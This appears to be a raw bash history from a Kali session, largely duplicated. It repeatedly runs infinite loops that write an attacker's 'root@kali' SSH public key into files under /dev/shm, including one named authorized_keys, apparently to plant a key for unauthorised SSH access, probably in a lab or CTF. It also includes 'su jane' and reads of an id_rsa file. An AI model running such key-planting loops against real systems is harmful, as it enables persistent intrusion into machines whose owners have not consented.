 1223  while true; do echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCubsM5Q4bRzpK+egPisoOymlHSesA/Ev9vAqzW/eG5DsMwam4HcoU/ERV2bgExwVAcCfX0fMvQ/kaHUTvSGVZrPJkUOG75tY8+TvmdIA4c/KQyFqac0X+0sL4P8Xm8aw8kwHG8z1asVc0Eo69lzhvbF1awXfIHcx3RS1WHKEH3ZBXngjCl/2PbucO55rWMffBvL7fxfvdxKtmZm59cmQfNxY+2+nHVoPKR4OBrVHvQcewBO37RPIDSuNsFvPQTztlQ5ahlNErKkbys+rbDKziI0fJXSD7/6gmlvBsdtTM+9QUrhbvkst0j3HpWT3dT8y9HwTBTLp/B4Ld8LRCXU53Eodb9Yl6pcgojDCnOc5+WvGC4u/Guapvp9qVlzAPgHK1SuWxLr8bsRbqZo+po81yyzpkFVzuJSEbjM9l8StvsQlCMEmso5lpYEP77G0m0jWgpSHzX3RhC5hQ5u/ddm/8e0bcclkx3iskbH0YgUxsYOdB9CHn78npmjfG3KzjJRvU= root@kali" | tee /dev/shm/keys* > /dev/null; done
216
 1224  while true; do echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCubsM5Q4bRzpK+egPisoOymlHSesA/Ev9vAqzW/eG5DsMwam4HcoU/ERV2bgExwVAcCfX0fMvQ/kaHUTvSGVZrPJkUOG75tY8+TvmdIA4c/KQyFqac0X+0sL4P8Xm8aw8kwHG8z1asVc0Eo69lzhvbF1awXfIHcx3RS1WHKEH3ZBXngjCl/2PbucO55rWMffBvL7fxfvdxKtmZm59cmQfNxY+2+nHVoPKR4OBrVHvQcewBO37RPIDSuNsFvPQTztlQ5ahlNErKkbys+rbDKziI0fJXSD7/6gmlvBsdtTM+9QUrhbvkst0j3HpWT3dT8y9HwTBTLp/B4Ld8LRCXU53Eodb9Yl6pcgojDCnOc5+WvGC4u/Guapvp9qVlzAPgHK1SuWxLr8bsRbqZo+po81yyzpkFVzuJSEbjM9l8StvsQlCMEmso5lpYEP77G0m0jWgpSHzX3RhC5hQ5u/ddm/8e0bcclkx3iskbH0YgUxsYOdB9CHn78npmjfG3KzjJRvU= root@kali" | tee /dev/shm/keys/id_rsa.pub* > /dev/null; done
217
 1225  while true; do echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCubsM5Q4bRzpK+egPisoOymlHSesA/Ev9vAqzW/eG5DsMwam4HcoU/ERV2bgExwVAcCfX0fMvQ/kaHUTvSGVZrPJkUOG75tY8+TvmdIA4c/KQyFqac0X+0sL4P8Xm8aw8kwHG8z1asVc0Eo69lzhvbF1awXfIHcx3RS1WHKEH3ZBXngjCl/2PbucO55rWMffBvL7fxfvdxKtmZm59cmQfNxY+2+nHVoPKR4OBrVHvQcewBO37RPIDSuNsFvPQTztlQ5ahlNErKkbys+rbDKziI0fJXSD7/6gmlvBsdtTM+9QUrhbvkst0j3HpWT3dT8y9HwTBTLp/B4Ld8LRCXU53Eodb9Yl6pcgojDCnOc5+WvGC4u/Guapvp9qVlzAPgHK1SuWxLr8bsRbqZo+po81yyzpkFVzuJSEbjM9l8StvsQlCMEmso5lpYEP77G0m0jWgpSHzX3RhC5hQ5u/ddm/8e0bcclkx3iskbH0YgUxsYOdB9CHn78npmjfG3KzjJRvU= root@kali" | tee /dev/shm/keys* > /dev/null; done
218
 1226  ls -la
219
 1227  cd keys/
220
 1228  ls -la
221
 1229  cat id_rsa.pub\*
222
 1230  clear
223
 1231  ls a- l
224
 1232  clear
225
 1233  ls -la
226
 1234  cat id_rsa.pub\*
227
 1235  cd..
228
 1236  cd ..
229
 1237  clear
230
 1238  ls -la
231
 1239  cd l
232
 1240  cd keys/
233
 1241  ls -la
234
 1242  rm -r id_rsa.pub\*
235
 1243  clear
236
 1244  ls -la
237
 1245  cd ..
238
 1246  ls -a l
239
 1247  rm -r keys/
240
 1248  clear
241
 1249  ls -al
242
 1250  ls -la
243
 1251  cd ..
244
 1252  cd shm/
245
 1253  ls -la
246
 1254  su jane
247
 1255  clear
248
 1256  ls -]al
249
 1257  clear
250
 1258  ls -la
251
 1259  while true; do echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCubsM5Q4bRzpK+egPisoOymlHSesA/Ev9vAqzW/eG5DsMwam4HcoU/ERV2bgExwVAcCfX0fMvQ/kaHUTvSGVZrPJkUOG75tY8+TvmdIA4c/KQyFqac0X+0sL4P8Xm8aw8kwHG8z1asVc0Eo69lzhvbF1awXfIHcx3RS1WHKEH3ZBXngjCl/2PbucO55rWMffBvL7fxfvdxKtmZm59cmQfNxY+2+nHVoPKR4OBrVHvQcewBO37RPIDSuNsFvPQTztlQ5ahlNErKkbys+rbDKziI0fJXSD7/6gmlvBsdtTM+9QUrhbvkst0j3HpWT3dT8y9HwTBTLp/B4Ld8LRCXU53Eodb9Yl6pcgojDCnOc5+WvGC4u/Guapvp9qVlzAPgHK1SuWxLr8bsRbqZo+po81yyzpkFVzuJSEbjM9l8StvsQlCMEmso5lpYEP77G0m0jWgpSHzX3RhC5hQ5u/ddm/8e0bcclkx3iskbH0YgUxsYOdB9CHn78npmjfG3KzjJRvU= root@kali" | tee /dev/shm* > /dev/null; done
252
 1260  clear
253
 1261  while true; do echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCubsM5Q4bRzpK+egPisoOymlHSesA/Ev9vAqzW/eG5DsMwam4HcoU/ERV2bgExwVAcCfX0fMvQ/kaHUTvSGVZrPJkUOG75tY8+TvmdIA4c/KQyFqac0X+0sL4P8Xm8aw8kwHG8z1asVc0Eo69lzhvbF1awXfIHcx3RS1WHKEH3ZBXngjCl/2PbucO55rWMffBvL7fxfvdxKtmZm59cmQfNxY+2+nHVoPKR4OBrVHvQcewBO37RPIDSuNsFvPQTztlQ5ahlNErKkbys+rbDKziI0fJXSD7/6gmlvBsdtTM+9QUrhbvkst0j3HpWT3dT8y9HwTBTLp/B4Ld8LRCXU53Eodb9Yl6pcgojDCnOc5+WvGC4u/Guapvp9qVlzAPgHK1SuWxLr8bsRbqZo+po81yyzpkFVzuJSEbjM9l8StvsQlCMEmso5lpYEP77G0m0jWgpSHzX3RhC5hQ5u/ddm/8e0bcclkx3iskbH0YgUxsYOdB9CHn78npmjfG3KzjJRvU= root@kali" | tee /dev/shm/id_rsa.pub > /dev/null; done
254
 1262  clear
255
 1263  ls -la
256
 1264  rm -r id_rsa.pub
257
 1265  clear
258
 1266  while true; do echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCubsM5Q4bRzpK+egPisoOymlHSesA/Ev9vAqzW/eG5DsMwam4HcoU/ERV2bgExwVAcCfX0fMvQ/kaHUTvSGVZrPJkUOG75tY8+TvmdIA4c/KQyFqac0X+0sL4P8Xm8aw8kwHG8z1asVc0Eo69lzhvbF1awXfIHcx3RS1WHKEH3ZBXngjCl/2PbucO55rWMffBvL7fxfvdxKtmZm59cmQfNxY+2+nHVoPKR4OBrVHvQcewBO37RPIDSuNsFvPQTztlQ5ahlNErKkbys+rbDKziI0fJXSD7/6gmlvBsdtTM+9QUrhbvkst0j3HpWT3dT8y9HwTBTLp/B4Ld8LRCXU53Eodb9Yl6pcgojDCnOc5+WvGC4u/Guapvp9qVlzAPgHK1SuWxLr8bsRbqZo+po81yyzpkFVzuJSEbjM9l8StvsQlCMEmso5lpYEP77G0m0jWgpSHzX3RhC5hQ5u/ddm/8e0bcclkx3iskbH0YgUxsYOdB9CHn78npmjfG3KzjJRvU= root@kali" | tee /dev/shm/id_rsa.pub > /dev/null; done
259
 1267  ls -al
260
 1268  while true; do echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCubsM5Q4bRzpK+egPisoOymlHSesA/Ev9vAqzW/eG5DsMwam4HcoU/ERV2bgExwVAcCfX0fMvQ/kaHUTvSGVZrPJkUOG75tY8+TvmdIA4c/KQyFqac0X+0sL4P8Xm8aw8kwHG8z1asVc0Eo69lzhvbF1awXfIHcx3RS1WHKEH3ZBXngjCl/2PbucO55rWMffBvL7fxfvdxKtmZm59cmQfNxY+2+nHVoPKR4OBrVHvQcewBO37RPIDSuNsFvPQTztlQ5ahlNErKkbys+rbDKziI0fJXSD7/6gmlvBsdtTM+9QUrhbvkst0j3HpWT3dT8y9HwTBTLp/B4Ld8LRCXU53Eodb9Yl6pcgojDCnOc5+WvGC4u/Guapvp9qVlzAPgHK1SuWxLr8bsRbqZo+po81yyzpkFVzuJSEbjM9l8StvsQlCMEmso5lpYEP77G0m0jWgpSHzX3RhC5hQ5u/ddm/8e0bcclkx3iskbH0YgUxsYOdB9CHn78npmjfG3KzjJRvU= root@kali" | tee /dev/shm/keys/id_rsa.pub* > /dev/null; done
261
 1269  cd /dev/shm/
262
 1270  ls -al
263
 1271  cd keys/
264
 1272  ls
265
 1273  touch file.txt
266
 1274  cd ..
267
 1275  cd /tmp/
268
 1276  cd t
269
 1277  cd test/
270
 1278  touch file.txt
271
 1279  cd ..
272
 1280  touch file.txt
273
 1281  rm -r
274
 1282  rm -r file.txt
275
 1283  cd t
276
 1284  cd test/
277
 1285  ls -al
278
 1286  touch file.txt
279
 1287  cd /dev/shm/
280
 1288  ls -la
281
 1289  cd keys/
282
 1290  ls
283
 1291  cd..
284
 1292  clear
285
 1293  ls -al
286
 1294  cd ..
287
 1295  ls -la
288
 1296  rm -r keys/
289
 1297  while true; do echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCubsM5Q4bRzpK+egPisoOymlHSesA/Ev9vAqzW/eG5DsMwam4HcoU/ERV2bgExwVAcCfX0fMvQ/kaHUTvSGVZrPJkUOG75tY8+TvmdIA4c/KQyFqac0X+0sL4P8Xm8aw8kwHG8z1asVc0Eo69lzhvbF1awXfIHcx3RS1WHKEH3ZBXngjCl/2PbucO55rWMffBvL7fxfvdxKtmZm59cmQfNxY+2+nHVoPKR4OBrVHvQcewBO37RPIDSuNsFvPQTztlQ5ahlNErKkbys+rbDKziI0fJXSD7/6gmlvBsdtTM+9QUrhbvkst0j3HpWT3dT8y9HwTBTLp/B4Ld8LRCXU53Eodb9Yl6pcgojDCnOc5+WvGC4u/Guapvp9qVlzAPgHK1SuWxLr8bsRbqZo+po81yyzpkFVzuJSEbjM9l8StvsQlCMEmso5lpYEP77G0m0jWgpSHzX3RhC5hQ5u/ddm/8e0bcclkx3iskbH0YgUxsYOdB9CHn78npmjfG3KzjJRvU= root@kali" | tee /dev/shm/keys* > /dev/null; done
290
 1298  while true; do echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCubsM5Q4bRzpK+egPisoOymlHSesA/Ev9vAqzW/eG5DsMwam4HcoU/ERV2bgExwVAcCfX0fMvQ/kaHUTvSGVZrPJkUOG75tY8+TvmdIA4c/KQyFqac0X+0sL4P8Xm8aw8kwHG8z1asVc0Eo69lzhvbF1awXfIHcx3RS1WHKEH3ZBXngjCl/2PbucO55rWMffBvL7fxfvdxKtmZm59cmQfNxY+2+nHVoPKR4OBrVHvQcewBO37RPIDSuNsFvPQTztlQ5ahlNErKkbys+rbDKziI0fJXSD7/6gmlvBsdtTM+9QUrhbvkst0j3HpWT3dT8y9HwTBTLp/B4Ld8LRCXU53Eodb9Yl6pcgojDCnOc5+WvGC4u/Guapvp9qVlzAPgHK1SuWxLr8bsRbqZo+po81yyzpkFVzuJSEbjM9l8StvsQlCMEmso5lpYEP77G0m0jWgpSHzX3RhC5hQ5u/ddm/8e0bcclkx3iskbH0YgUxsYOdB9CHn78npmjfG3KzjJRvU= root@kali" | tee /dev/shm/keys/id_rsa.pub* > /dev/null; done
291
 1299  while true; do echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCubsM5Q4bRzpK+egPisoOymlHSesA/Ev9vAqzW/eG5DsMwam4HcoU/ERV2bgExwVAcCfX0fMvQ/kaHUTvSGVZrPJkUOG75tY8+TvmdIA4c/KQyFqac0X+0sL4P8Xm8aw8kwHG8z1asVc0Eo69lzhvbF1awXfIHcx3RS1WHKEH3ZBXngjCl/2PbucO55rWMffBvL7fxfvdxKtmZm59cmQfNxY+2+nHVoPKR4OBrVHvQcewBO37RPIDSuNsFvPQTztlQ5ahlNErKkbys+rbDKziI0fJXSD7/6gmlvBsdtTM+9QUrhbvkst0j3HpWT3dT8y9HwTBTLp/B4Ld8LRCXU53Eodb9Yl6pcgojDCnOc5+WvGC4u/Guapvp9qVlzAPgHK1SuWxLr8bsRbqZo+po81yyzpkFVzuJSEbjM9l8StvsQlCMEmso5lpYEP77G0m0jWgpSHzX3RhC5hQ5u/ddm/8e0bcclkx3iskbH0YgUxsYOdB9CHn78npmjfG3KzjJRvU= root@kali" | tee /dev/shm/keys/id_rsa.pub > /dev/null; done
292
 1300  while true; do echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCubsM5Q4bRzpK+egPisoOymlHSesA/Ev9vAqzW/eG5DsMwam4HcoU/ERV2bgExwVAcCfX0fMvQ/kaHUTvSGVZrPJkUOG75tY8+TvmdIA4c/KQyFqac0X+0sL4P8Xm8aw8kwHG8z1asVc0Eo69lzhvbF1awXfIHcx3RS1WHKEH3ZBXngjCl/2PbucO55rWMffBvL7fxfvdxKtmZm59cmQfNxY+2+nHVoPKR4OBrVHvQcewBO37RPIDSuNsFvPQTztlQ5ahlNErKkbys+rbDKziI0fJXSD7/6gmlvBsdtTM+9QUrhbvkst0j3HpWT3dT8y9HwTBTLp/B4Ld8LRCXU53Eodb9Yl6pcgojDCnOc5+WvGC4u/Guapvp9qVlzAPgHK1SuWxLr8bsRbqZo+po81yyzpkFVzuJSEbjM9l8StvsQlCMEmso5lpYEP77G0m0jWgpSHzX3RhC5hQ5u/ddm/8e0bcclkx3iskbH0YgUxsYOdB9CHn78npmjfG3KzjJRvU= root@kali" | tee /dev/shm/keys* > /dev/null; done
293
 1301  while true; do echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCubsM5Q4bRzpK+egPisoOymlHSesA/Ev9vAqzW/eG5DsMwam4HcoU/ERV2bgExwVAcCfX0fMvQ/kaHUTvSGVZrPJkUOG75tY8+TvmdIA4c/KQyFqac0X+0sL4P8Xm8aw8kwHG8z1asVc0Eo69lzhvbF1awXfIHcx3RS1WHKEH3ZBXngjCl/2PbucO55rWMffBvL7fxfvdxKtmZm59cmQfNxY+2+nHVoPKR4OBrVHvQcewBO37RPIDSuNsFvPQTztlQ5ahlNErKkbys+rbDKziI0fJXSD7/6gmlvBsdtTM+9QUrhbvkst0j3HpWT3dT8y9HwTBTLp/B4Ld8LRCXU53Eodb9Yl6pcgojDCnOc5+WvGC4u/Guapvp9qVlzAPgHK1SuWxLr8bsRbqZo+po81yyzpkFVzuJSEbjM9l8StvsQlCMEmso5lpYEP77G0m0jWgpSHzX3RhC5hQ5u/ddm/8e0bcclkx3iskbH0YgUxsYOdB9CHn78npmjfG3KzjJRvU= root@kali" | tee /dev/shm/keys/id_rsa.pub* > /dev/null; done
294
 1302  while true; do echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCubsM5Q4bRzpK+egPisoOymlHSesA/Ev9vAqzW/eG5DsMwam4HcoU/ERV2bgExwVAcCfX0fMvQ/kaHUTvSGVZrPJkUOG75tY8+TvmdIA4c/KQyFqac0X+0sL4P8Xm8aw8kwHG8z1asVc0Eo69lzhvbF1awXfIHcx3RS1WHKEH3ZBXngjCl/2PbucO55rWMffBvL7fxfvdxKtmZm59cmQfNxY+2+nHVoPKR4OBrVHvQcewBO37RPIDSuNsFvPQTztlQ5ahlNErKkbys+rbDKziI0fJXSD7/6gmlvBsdtTM+9QUrhbvkst0j3HpWT3dT8y9HwTBTLp/B4Ld8LRCXU53Eodb9Yl6pcgojDCnOc5+WvGC4u/Guapvp9qVlzAPgHK1SuWxLr8bsRbqZo+po81yyzpkFVzuJSEbjM9l8StvsQlCMEmso5lpYEP77G0m0jWgpSHzX3RhC5hQ5u/ddm/8e0bcclkx3iskbH0YgUxsYOdB9CHn78npmjfG3KzjJRvU= root@kali" | tee /dev/shm/keys* > /dev/null; done
295
 1303  ls -la
296
 1304  cd keys/
297
 1305  ls -la
298
 1306  cat id_rsa.pub\*
299
 1307  clear
300
 1308  ls a- l
301
 1309  clear
302
 1310  ls -la
303
 1311  cat id_rsa.pub\*
304
 1312  cd..
305
 1313  cd ..
306
 1314  clear
307
 1315  ls -la
308
 1316  cd l
309
 1317  cd keys/
310
 1318  ls -la
311
 1319  rm -r id_rsa.pub\*
312
 1320  clear
313
 1321  ls -la
314
 1322  cd ..
315
 1323  ls -a l
316
 1324  rm -r keys/
317
 1325  clear
318
 1326  ls -al
319
 1327  ls -la
320
 1328  cd ..
321
 1329  cd shm/
322
 1330  ls -la
323
 1331  su jane
324
 1332  clear
325
 1333  ls -]al
326
 1334  clear
327
 1335  ls -la
328
 1336  while true; do echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCubsM5Q4bRzpK+egPisoOymlHSesA/Ev9vAqzW/eG5DsMwam4HcoU/ERV2bgExwVAcCfX0fMvQ/kaHUTvSGVZrPJkUOG75tY8+TvmdIA4c/KQyFqac0X+0sL4P8Xm8aw8kwHG8z1asVc0Eo69lzhvbF1awXfIHcx3RS1WHKEH3ZBXngjCl/2PbucO55rWMffBvL7fxfvdxKtmZm59cmQfNxY+2+nHVoPKR4OBrVHvQcewBO37RPIDSuNsFvPQTztlQ5ahlNErKkbys+rbDKziI0fJXSD7/6gmlvBsdtTM+9QUrhbvkst0j3HpWT3dT8y9HwTBTLp/B4Ld8LRCXU53Eodb9Yl6pcgojDCnOc5+WvGC4u/Guapvp9qVlzAPgHK1SuWxLr8bsRbqZo+po81yyzpkFVzuJSEbjM9l8StvsQlCMEmso5lpYEP77G0m0jWgpSHzX3RhC5hQ5u/ddm/8e0bcclkx3iskbH0YgUxsYOdB9CHn78npmjfG3KzjJRvU= root@kali" | tee /dev/shm* > /dev/null; done
329
 1337  clear
330
 1338  while true; do echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCubsM5Q4bRzpK+egPisoOymlHSesA/Ev9vAqzW/eG5DsMwam4HcoU/ERV2bgExwVAcCfX0fMvQ/kaHUTvSGVZrPJkUOG75tY8+TvmdIA4c/KQyFqac0X+0sL4P8Xm8aw8kwHG8z1asVc0Eo69lzhvbF1awXfIHcx3RS1WHKEH3ZBXngjCl/2PbucO55rWMffBvL7fxfvdxKtmZm59cmQfNxY+2+nHVoPKR4OBrVHvQcewBO37RPIDSuNsFvPQTztlQ5ahlNErKkbys+rbDKziI0fJXSD7/6gmlvBsdtTM+9QUrhbvkst0j3HpWT3dT8y9HwTBTLp/B4Ld8LRCXU53Eodb9Yl6pcgojDCnOc5+WvGC4u/Guapvp9qVlzAPgHK1SuWxLr8bsRbqZo+po81yyzpkFVzuJSEbjM9l8StvsQlCMEmso5lpYEP77G0m0jWgpSHzX3RhC5hQ5u/ddm/8e0bcclkx3iskbH0YgUxsYOdB9CHn78npmjfG3KzjJRvU= root@kali" | tee /dev/shm/id_rsa.pub > /dev/null; done
331
 1339  clear
332
 1340  ls -la
333
 1341  rm -r id_rsa.pub
334
 1342  clear
335
 1343  while true; do echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCubsM5Q4bRzpK+egPisoOymlHSesA/Ev9vAqzW/eG5DsMwam4HcoU/ERV2bgExwVAcCfX0fMvQ/kaHUTvSGVZrPJkUOG75tY8+TvmdIA4c/KQyFqac0X+0sL4P8Xm8aw8kwHG8z1asVc0Eo69lzhvbF1awXfIHcx3RS1WHKEH3ZBXngjCl/2PbucO55rWMffBvL7fxfvdxKtmZm59cmQfNxY+2+nHVoPKR4OBrVHvQcewBO37RPIDSuNsFvPQTztlQ5ahlNErKkbys+rbDKziI0fJXSD7/6gmlvBsdtTM+9QUrhbvkst0j3HpWT3dT8y9HwTBTLp/B4Ld8LRCXU53Eodb9Yl6pcgojDCnOc5+WvGC4u/Guapvp9qVlzAPgHK1SuWxLr8bsRbqZo+po81yyzpkFVzuJSEbjM9l8StvsQlCMEmso5lpYEP77G0m0jWgpSHzX3RhC5hQ5u/ddm/8e0bcclkx3iskbH0YgUxsYOdB9CHn78npmjfG3KzjJRvU= root@kali" | tee /dev/shm/id_rsa.pub > /dev/null; done
336
 1344  while true; do echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCubsM5Q4bRzpK+egPisoOymlHSesA/Ev9vAqzW/eG5DsMwam4HcoU/ERV2bgExwVAcCfX0fMvQ/kaHUTvSGVZrPJkUOG75tY8+TvmdIA4c/KQyFqac0X+0sL4P8Xm8aw8kwHG8z1asVc0Eo69lzhvbF1awXfIHcx3RS1WHKEH3ZBXngjCl/2PbucO55rWMffBvL7fxfvdxKtmZm59cmQfNxY+2+nHVoPKR4OBrVHvQcewBO37RPIDSuNsFvPQTztlQ5ahlNErKkbys+rbDKziI0fJXSD7/6gmlvBsdtTM+9QUrhbvkst0j3HpWT3dT8y9HwTBTLp/B4Ld8LRCXU53Eodb9Yl6pcgojDCnOc5+WvGC4u/Guapvp9qVlzAPgHK1SuWxLr8bsRbqZo+po81yyzpkFVzuJSEbjM9l8StvsQlCMEmso5lpYEP77G0m0jWgpSHzX3RhC5hQ5u/ddm/8e0bcclkx3iskbH0YgUxsYOdB9CHn78npmjfG3KzjJRvU= root@kali" | tee /dev/shm/authorized_keys > /dev/null; done
337
 1345  clear
338
 1346  ls -la
339
 1347  cat id_rsa
340
 1348  rm -r id_rsa
341
 1349  ls -la
342
 1350  clear
343
 1351  ls -al
344
 1352  while true; do echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCubsM5Q4bRzpK+egPisoOymlHSesA/Ev9vAqzW/eG5DsMwam4HcoU/ERV2bgExwVAcCfX0fMvQ/kaHUTvSGVZrPJkUOG75tY8+TvmdIA4c/KQyFqac0X+0sL4P8Xm8aw8kwHG8z1asVc0Eo69lzhvbF1awXfIHcx3RS1WHKEH3ZBXngjCl/2PbucO55rWMffBvL7fxfvdxKtmZm59cmQfNxY+2+nHVoPKR4OBrVHvQcewBO37RPIDSuNsFvPQTztlQ5ahlNErKkbys+rbDKziI0fJXSD7/6gmlvBsdtTM+9QUrhbvkst0j3HpWT3dT8y9HwTBTLp/B4Ld8LRCXU53Eodb9Yl6pcgojDCnOc5+WvGC4u/Guapvp9qVlzAPgHK1SuWxLr8bsRbqZo+po81yyzpkFVzuJSEbjM9l8StvsQlCMEmso5lpYEP77G0m0jWgpSHzX3RhC5hQ5u/ddm/8e0bcclkx3iskbH0YgUxsYOdB9CHn78npmjfG3KzjJRvU= root@kali" | tee /dev/shm/authorized_keys > /dev/null; done
345
 1353  ls -al
346
 1354  while true; do echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCubsM5Q4bRzpK+egPisoOymlHSesA/Ev9vAqzW/eG5DsMwam4HcoU/ERV2bgExwVAcCfX0fMvQ/kaHUTvSGVZrPJkUOG75tY8+TvmdIA4c/KQyFqac0X+0sL4P8Xm8aw8kwHG8z1asVc0Eo69lzhvbF1awXfIHcx3RS1WHKEH3ZBXngjCl/2PbucO55rWMffBvL7fxfvdxKtmZm59cmQfNxY+2+nHVoPKR4OBrVHvQcewBO37RPIDSuNsFvPQTztlQ5ahlNErKkbys+rbDKziI0fJXSD7/6gmlvBsdtTM+9QUrhbvkst0j3HpWT3dT8y9HwTBTLp/B4Ld8LRCXU53Eodb9Yl6pcgojDCnOc5+WvGC4u/Guapvp9qVlzAPgHK1SuWxLr8bsRbqZo+po81yyzpkFVzuJSEbjM9l8StvsQlCMEmso5lpYEP77G0m0jWgpSHzX3RhC5hQ5u/ddm/8e0bcclkx3iskbH0YgUxsYOdB9CHn78npmjfG3KzjJRvU= root@kali" | tee /dev/shm/keys/id_rsa.pub* > /dev/null; done
347
 1355  cd /dev/shm/
348
 1356  ls -al
349
 1357  cd keys/
350
 1358  ls
351
 1359  touch file.txt
352
 1360  cd ..
353
 1361  cd /tmp/
354
 1362  cd t
355
 1363  cd test/
356
 1364  touch file.txt
357
 1365  cd ..
358
 1366  touch file.txt
359
 1367  rm -r
360
 1368  rm -r file.txt
361
 1369  cd t
362
 1370  cd test/
363
 1371  ls -al
364
 1372  touch file.txt
365
 1373  cd /dev/shm/
366
 1374  ls -la
367
 1375  cd keys/
368
 1376  ls
369
 1377  cd..
370
 1378  clear
371
 1379  ls -al
372
 1380  cd ..
373
 1381  ls -la
374
 1382  rm -r keys/
375
 1383  while true; do echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCubsM5Q4bRzpK+egPisoOymlHSesA/Ev9vAqzW/eG5DsMwam4HcoU/ERV2bgExwVAcCfX0fMvQ/kaHUTvSGVZrPJkUOG75tY8+TvmdIA4c/KQyFqac0X+0sL4P8Xm8aw8kwHG8z1asVc0Eo69lzhvbF1awXfIHcx3RS1WHKEH3ZBXngjCl/2PbucO55rWMffBvL7fxfvdxKtmZm59cmQfNxY+2+nHVoPKR4OBrVHvQcewBO37RPIDSuNsFvPQTztlQ5ahlNErKkbys+rbDKziI0fJXSD7/6gmlvBsdtTM+9QUrhbvkst0j3HpWT3dT8y9HwTBTLp/B4Ld8LRCXU53Eodb9Yl6pcgojDCnOc5+WvGC4u/Guapvp9qVlzAPgHK1SuWxLr8bsRbqZo+po81yyzpkFVzuJSEbjM9l8StvsQlCMEmso5lpYEP77G0m0jWgpSHzX3RhC5hQ5u/ddm/8e0bcclkx3iskbH0YgUxsYOdB9CHn78npmjfG3KzjJRvU= root@kali" | tee /dev/shm/keys* > /dev/null; done
376
 1384  while true; do echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCubsM5Q4bRzpK+egPisoOymlHSesA/Ev9vAqzW/eG5DsMwam4HcoU/ERV2bgExwVAcCfX0fMvQ/kaHUTvSGVZrPJkUOG75tY8+TvmdIA4c/KQyFqac0X+0sL4P8Xm8aw8kwHG8z1asVc0Eo69lzhvbF1awXfIHcx3RS1WHKEH3ZBXngjCl/2PbucO55rWMffBvL7fxfvdxKtmZm59cmQfNxY+2+nHVoPKR4OBrVHvQcewBO37RPIDSuNsFvPQTztlQ5ahlNErKkbys+rbDKziI0fJXSD7/6gmlvBsdtTM+9QUrhbvkst0j3HpWT3dT8y9HwTBTLp/B4Ld8LRCXU53Eodb9Yl6pcgojDCnOc5+WvGC4u/Guapvp9qVlzAPgHK1SuWxLr8bsRbqZo+po81yyzpkFVzuJSEbjM9l8StvsQlCMEmso5lpYEP77G0m0jWgpSHzX3RhC5hQ5u/ddm/8e0bcclkx3iskbH0YgUxsYOdB9CHn78npmjfG3KzjJRvU= root@kali" | tee /dev/shm/keys/id_rsa.pub* > /dev/null; done
377
 1385  while true; do echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCubsM5Q4bRzpK+egPisoOymlHSesA/Ev9vAqzW/eG5DsMwam4HcoU/ERV2bgExwVAcCfX0fMvQ/kaHUTvSGVZrPJkUOG75tY8+TvmdIA4c/KQyFqac0X+0sL4P8Xm8aw8kwHG8z1asVc0Eo69lzhvbF1awXfIHcx3RS1WHKEH3ZBXngjCl/2PbucO55rWMffBvL7fxfvdxKtmZm59cmQfNxY+2+nHVoPKR4OBrVHvQcewBO37RPIDSuNsFvPQTztlQ5ahlNErKkbys+rbDKziI0fJXSD7/6gmlvBsdtTM+9QUrhbvkst0j3HpWT3dT8y9HwTBTLp/B4Ld8LRCXU53Eodb9Yl6pcgojDCnOc5+WvGC4u/Guapvp9qVlzAPgHK1SuWxLr8bsRbqZo+po81yyzpkFVzuJSEbjM9l8StvsQlCMEmso5lpYEP77G0m0jWgpSHzX3RhC5hQ5u/ddm/8e0bcclkx3iskbH0YgUxsYOdB9CHn78npmjfG3KzjJRvU= root@kali" | tee /dev/shm/keys/id_rsa.pub > /dev/null; done
378
 1386  while true; do echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCubsM5Q4bRzpK+egPisoOymlHSesA/Ev9vAqzW/eG5DsMwam4HcoU/ERV2bgExwVAcCfX0fMvQ/kaHUTvSGVZrPJkUOG75tY8+TvmdIA4c/KQyFqac0X+0sL4P8Xm8aw8kwHG8z1asVc0Eo69lzhvbF1awXfIHcx3RS1WHKEH3ZBXngjCl/2PbucO55rWMffBvL7fxfvdxKtmZm59cmQfNxY+2+nHVoPKR4OBrVHvQcewBO37RPIDSuNsFvPQTztlQ5ahlNErKkbys+rbDKziI0fJXSD7/6gmlvBsdtTM+9QUrhbvkst0j3HpWT3dT8y9HwTBTLp/B4Ld8LRCXU53Eodb9Yl6pcgojDCnOc5+WvGC4u/Guapvp9qVlzAPgHK1SuWxLr8bsRbqZo+po81yyzpkFVzuJSEbjM9l8StvsQlCMEmso5lpYEP77G0m0jWgpSHzX3RhC5hQ5u/ddm/8e0bcclkx3iskbH0YgUxsYOdB9CHn78npmjfG3KzjJRvU= root@kali" | tee /dev/shm/keys* > /dev/null; done
379
